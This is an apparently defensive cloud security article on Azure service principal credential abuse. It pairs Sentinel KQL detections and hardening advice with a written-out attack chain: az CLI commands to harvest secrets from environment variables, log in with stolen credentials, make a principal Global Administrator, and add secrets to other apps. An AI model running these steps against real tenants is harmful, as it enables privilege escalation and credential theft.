Cloud Security Wire
AWS Azure GCP RSS
Azure Misconfiguration high

Azure Service Principal Credential Abuse: Attack Paths and Hardening

Azure service principals with client secrets or certificates are a persistent lateral movement vector in Entra ID environments. This guide covers how attackers obtain and abuse service principal credentials, the role assignments that make them dangerous, and the controls that limit the blast radius.

By Cloud Security Wire · ·
#azure#service-principal#entra-id#lateral-movement#credential-theft#IAM#RBAC#client-secret#application-registration#non-human-identity#microsoft-graph
High Severity

This issue has been assessed as high severity. Review affected configurations immediately.

Service principals are Azure’s non-human identity primitive — application registrations that authenticate to Azure APIs using a client secret or certificate rather than a user credential. They’re used everywhere: CI/CD pipelines, automation scripts, scheduled jobs, third-party integrations, monitoring agents.

They’re also consistently mismanaged in ways that make them high-value lateral movement targets. Unlike managed identities (which authenticate via platform-controlled credentials with no human-visible secret), service principals have credentials that can be exported, shared, committed to version control, and stolen from configuration files. A service principal with Contributor rights on a subscription is an administrative credential. When those credentials end up in the wrong hands, the impact is indistinguishable from a compromised privileged user account.

How Attackers Obtain Service Principal Credentials

Source Code and Repository Scanning

The most common path is leaked credentials in source code. Service principal client secrets are GUIDs and tend to look like any other opaque string — developers routinely hardcode them in configuration files, Docker Compose files, GitHub Actions YAML, and .env files that get committed to repositories.

Automated tools scan public GitHub, GitLab, and Bitbucket repositories continuously for patterns matching Entra ID client secrets ([0-9A-Za-z~._\-]{34}). Private repositories are also accessible through compromised developer accounts or CI/CD tokens.

CI/CD Pipeline Extraction

Service principal credentials stored as CI/CD secrets are accessible to any workflow that runs in the environment. In GitHub Actions, secrets.AZURE_CLIENT_SECRET is available to any workflow in the repository. Malicious pull requests or compromised dependencies can exfiltrate secrets via environment variable printing, outbound HTTP requests, or log injection.

Application Configuration Files

Application settings stored in Azure App Service, AKS Kubernetes secrets, or on-premises .env files are common storage locations. An attacker with access to an App Service instance via an application-layer vulnerability (SSRF, RCE, path traversal) can read application settings directly from the Azure App Service environment variables, which includes any client secrets configured as application settings.

# An attacker with shell access reads App Service environment variables
env | grep -i secret
env | grep -i azure
env | grep -i client

Entra ID API Enumeration

Service principals with sufficient permissions can list other service principals and, in some misconfigurations, enumerate or rotate credentials. A compromised service principal with Application.ReadWrite.All in Microsoft Graph can add new credentials to any application in the tenant.

# Using a compromised token to list all service principals
az rest --method get --url "https://graph.microsoft.com/v1.0/servicePrincipals" \
  --query "value[].{displayName:displayName, appId:appId, id:id}" \
  -o table

Attack Chain: From Stolen Credential to Tenant Compromise

A typical escalation path from a compromised service principal credential:

Step 1: Authenticate with stolen credentials

az login --service-principal \
  --username <appId> \
  --password <clientSecret> \
  --tenant <tenantId>

Step 2: Enumerate available roles and assigned resources

# Check what subscriptions this principal can access
az account list -o table

# Check role assignments for this principal
az role assignment list --assignee <appId> --all -o table

# Check Microsoft Graph permissions
az rest --method get \
  --url "https://graph.microsoft.com/v1.0/servicePrincipals/<id>/appRoleAssignments"

Step 3: Leverage Microsoft Graph permissions

A service principal with Directory.ReadWrite.All or RoleManagement.ReadWrite.Directory can make itself a Global Administrator:

# Add the compromised service principal to Global Administrator role
az rest --method post \
  --url "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" \
  --body '{
    "principalId": "<compromised-sp-objectId>",
    "roleDefinitionId": "62e90394-69f5-4237-9190-012177145e10",
    "directoryScopeId": "/"
  }'

Step 4: Add credentials to high-privilege applications

If the service principal has Application.ReadWrite.All, it can add secrets to any application, including those with administrative Graph permissions:

# Add a new client secret to a high-privilege application
az ad app credential reset \
  --id <target-appId> \
  --append

Detection: Entra ID Sign-In Logs

Service principal abuse produces detectable signals in Entra ID audit and sign-in logs.

Azure Monitor / Microsoft Sentinel KQL — Anomalous service principal authentication:

AADServicePrincipalSignInLogs
| where TimeGenerated > ago(24h)
| extend ParsedLocation = parse_json(LocationDetails)
| summarize 
    SignInCount = count(),
    DistinctIPs = dcount(IPAddress),
    DistinctLocations = dcount(tostring(ParsedLocation.city)),
    IPAddresses = make_set(IPAddress, 10),
    FirstSeen = min(TimeGenerated),
    LastSeen = max(TimeGenerated)
    by ServicePrincipalName, AppId
| where DistinctIPs > 2 or DistinctLocations > 1
| sort by DistinctIPs desc

KQL — Service principal adding credentials to other applications:

AuditLogs
| where TimeGenerated > ago(24h)
| where OperationName == "Add service principal credentials"
    or OperationName == "Update application – Certificates and secrets management"
| extend InitiatedByType = tostring(parse_json(tostring(InitiatedBy.app)).displayName)
| extend TargetApp = tostring(TargetResources[0].displayName)
| where InitiatedByType != "" // Service principal initiated, not user
| project TimeGenerated, InitiatedByType, TargetApp, OperationName, Result
| sort by TimeGenerated desc

KQL — Privileged role assignments made by service principals:

AuditLogs
| where TimeGenerated > ago(7d)
| where OperationName has_any ("Add member to role", "Add app role assignment")
| where Category == "RoleManagement"
| extend Actor = tostring(parse_json(tostring(InitiatedBy.app)).displayName)
| where Actor != "" // Service principal performing the role assignment
| extend TargetPrincipal = tostring(TargetResources[0].displayName)
| extend RoleName = tostring(TargetResources[0].modifiedProperties[0].newValue)
| project TimeGenerated, Actor, TargetPrincipal, RoleName, OperationName
| sort by TimeGenerated desc

Hardening Controls

Prefer Managed Identities over Service Principals. For workloads running in Azure (VMs, App Service, AKS pods, Logic Apps, Functions), managed identities authenticate without any credential that can be extracted. No secret rotation needed. No credential leak risk. Switch all internal Azure-to-Azure authentication to managed identities wherever the resource type supports it.

Enforce certificate authentication over client secrets. Certificates provide the same functionality as client secrets but cannot be trivially extracted from memory or logged in plaintext. Enforce this via Conditional Access for workload identities (Entra ID P2 feature) or organizational policy banning client secret creation.

Apply least-privilege roles. Most service principals only need to read specific resources or perform specific operations. Audit existing principals:

# List all service principals with Contributor or higher at subscription scope
az role assignment list --all --query \
  "[?roleDefinitionName=='Contributor' || roleDefinitionName=='Owner'].{Name:principalName, Role:roleDefinitionName, Scope:scope}" \
  -o table

Set credential expiry and monitor via Microsoft Entra Recommendations. Client secrets with no expiry are a long-tail risk. Entra ID Recommendations surfaces service principals with expiring or long-lived credentials.

Enable Conditional Access for Workload Identities. Restrict which IP ranges service principals can authenticate from. An automation service principal that normally runs from a specific Azure region or on-premises IP range should never authenticate from a residential IP. Requires Entra ID P2.

Monitor for credential additions in audit logs. Any addition of a credential to an application or service principal — especially one performed by another service principal — should alert. The detection query above covers this case. Wire it to a high-priority alert with immediate investigation workflow.

← All Analysis Subscribe via RSS